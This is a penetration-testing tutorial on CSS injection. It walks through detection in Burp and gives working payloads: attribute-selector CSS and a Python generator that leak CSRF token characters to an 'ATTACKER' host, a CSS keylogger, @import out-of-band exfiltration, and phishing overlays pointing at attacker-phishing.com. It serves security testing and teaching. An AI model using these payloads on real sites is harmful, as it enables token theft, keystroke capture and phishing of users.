Web

CSS Injection

CSS injection for data exfiltration via attribute selectors, CSRF token extraction, keylogger via attribute selector polling, UI redressing, and CSP bypass via style-src. Detection and exploitation with Burp and manual PoC.

What is CSS Injection

CSS injection occurs when user-controlled input is reflected into a <style> block or inline style attribute without sanitisation. While CSS can’t execute JavaScript directly (in most contexts), it can:

  • Exfiltrate data via attribute selectors + external requests
  • Extract CSRF tokens character by character
  • Perform UI redressing (overlay phishing)
  • Bypass CSP when style-src 'unsafe-inline' is set

Detection

Step 1 — Find CSS injection points

Look for user input reflected in:

  • <style> blocks: <style>body { color: USER_INPUT; }</style>
  • style= attributes: <div style="color: USER_INPUT">
  • Custom theme/skin inputs
  • URL hash parsed into CSS properties

Step 2 — Confirm injection

In Burp Repeater, inject:

;}body{background:red}

If the page background turns red → CSS injection confirmed.

Or inject a request to Burp Collaborator:

;}@import url(http://COLLABORATOR/confirm);

If Collaborator receives a DNS/HTTP ping → confirmed.


Exploit 1: CSRF Token Exfiltration via Attribute Selectors

If a CSRF token appears in the DOM as an input[value] or meta[content]:

<input type="hidden" name="csrf" value="aBcDeFgH">

CSS attribute selectors can match partial values:

input[name="csrf"][value^="a"] { background: url(http://ATTACKER/a); }
input[name="csrf"][value^="b"] { background: url(http://ATTACKER/b); }
input[name="csrf"][value^="c"] { background: url(http://ATTACKER/c); }
/* ... */

^= means “starts with”. Whichever selector fires (background request received) reveals the first character. Repeat for each position.

Generate all selectors for one position:

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
known = 'aBcD'  # already extracted
pos = len(known) + 1
css = ''
for c in chars:
    prefix = known + c
    css += f'input[name="csrf"][value^="{prefix}"] {{ background: url(http://ATTACKER/{prefix}); }}\n'
print(css)

Exploit 2: CSS Keylogger via Attribute Selectors

For input fields, each keypress updates value=. Use CSS to trigger a request for each character:

input[value$="a"] { background: url(http://ATTACKER/char?a); }
input[value$="b"] { background: url(http://ATTACKER/char?b); }
/* ... all characters */

$= means “ends with” — captures the most recently typed character.


Exploit 3: Data Exfiltration from Other Attributes

Extract href, src, action, name from elements:

a[href^="https://internal-"] { background: url(http://ATTACKER/found-internal); }
form[action="/admin"] { background: url(http://ATTACKER/admin-form-found); }
meta[name="description"][content^="SECRET_"] { background: url(http://ATTACKER/found); }

Exploit 4: UI Redressing / Overlay

Without JavaScript, CSS can overlay entire pages:

;}body::after {
  content: "";
  position: fixed;
  top: 0; left: 0;
  width: 100%; height: 100%;
  background: url(https://attacker-phishing.com/fake-login.png);
  z-index: 9999;
}

Or inject a fake login form:

;}input[type="password"] ~ * {
  display: none !important;
}
;}body::before {
  content: "Session expired. Please log in again.";
  display: block;
  font-size: 24px;
}

Exploit 5: @import for Out-of-Band Exfiltration

@import url(http://ATTACKER/exfil-page);

The browser fetches the URL — OOB confirmation even without visible effect.

For data exfiltration using @import chaining (requires server responding with CSS):

Server at ATTACKER receives the request, dynamically serves CSS based on what was found:

/* Response from ATTACKER/exfil-page */
@import url(http://ATTACKER/got-char?next=...);

CSP Bypass via style-src

If CSP blocks scripts but allows style-src 'unsafe-inline':

Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'

CSS injection is still possible to exfiltrate tokens even without JavaScript execution.


Burp Suite workflow

  1. Proxy — identify user input reflected in style blocks or attributes.
  2. Repeater — inject ;}body{background:red} and CSS Collaborator @import.
  3. Collaborator — receive the exfiltrated characters via background-url requests.
  4. For CSRF token extraction: write a script to generate all attribute-selector CSS for each character position and inject it.
  5. DOM Invader — check if CSS sinks (innerHTML<style>) are reachable from DOM sources.